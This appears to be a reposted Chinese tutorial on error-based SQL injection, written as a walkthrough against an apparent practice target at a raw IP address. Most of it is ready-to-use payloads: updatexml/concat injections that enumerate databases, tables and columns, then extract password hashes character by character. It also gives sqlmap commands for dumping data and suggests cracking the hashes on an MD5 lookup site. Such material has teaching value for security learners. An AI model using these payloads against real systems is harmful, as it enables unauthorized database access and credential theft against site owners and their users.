web安全-SQL注入漏洞测试(报错盲注)
2021/7/23 2:06:06
本文主要是介绍web安全-SQL注入漏洞测试(报错盲注),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.寻找注入点
当我们闭合了第一个参数后有明显的报错信息,我们就可以考虑基于报错的注入了
http://219.153.49.228:41801/new_list.php?id=1’
2.报错注入-报错回显
参考:https://www.jianshu.com/p/bc35f8dd4f7c ; https://blog.csdn.net/Kevinhanser/article/details/81592866
手动注入
1.爆破数据库
查看数据库名字,本来想用union查询,但是当前网站过滤掉了union,这里用到了updatexml()函数的报错回显功能,会把信息显示在页面中。然后也用到了concat()函数,是连接两个字符串的。
?id=1‘ and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1) --+
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
2. 有了数据库名字就可以开始爆表了(通过information_schema数据库)
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),0x7e),1) --+
3.爆破字段
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member'),0x7e),1) --+
4。爆破密码,用户
and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1) --+
and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1) --+
注意:这里只获得了31位密码,其实password字段里面的数据是有32位的,只是没显示那么多,所以下面要用substr()去单独获取password字段的最后一位数
and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1) --+
and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1) --+
然后密码拿去MD5网站解码(https://www.cmd5.com/)
工具扫描(sqlmap)
清理sqlmap缓存:python sqlmap.py --purge
可以直接用sqlmap扫
1.爆数据库 sqlmap -u url --dbs
2.爆表 sqlmap.py -u url -D 数据库 -tables
3.爆字段名 sqlmap.py -u url -D 数据库 -T 表 columns
4.爆字段值 sqlmap.py -u url -D 数据库 -T 表 -C name,password,status
5.之后使用md5解密即可
这篇关于web安全-SQL注入漏洞测试(报错盲注)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-16Maven资料入门指南
- 2024-11-16Maven资料入门教程
- 2024-11-16MyBatis Plus资料:新手入门教程与实践指南
- 2024-11-16MyBatis-Plus资料入门教程:快速上手指南
- 2024-11-16Mybatis资料入门教程:新手必看指南
- 2024-11-16MyBatis资料详解:新手入门与初级实战指南
- 2024-11-16MyBatisPlus资料:初学者入门指南与实用教程
- 2024-11-16MybatisPlus资料详解:初学者入门指南
- 2024-11-16MyBatisX资料:新手入门与初级教程
- 2024-11-16RESTful接口资料详解:新手入门指南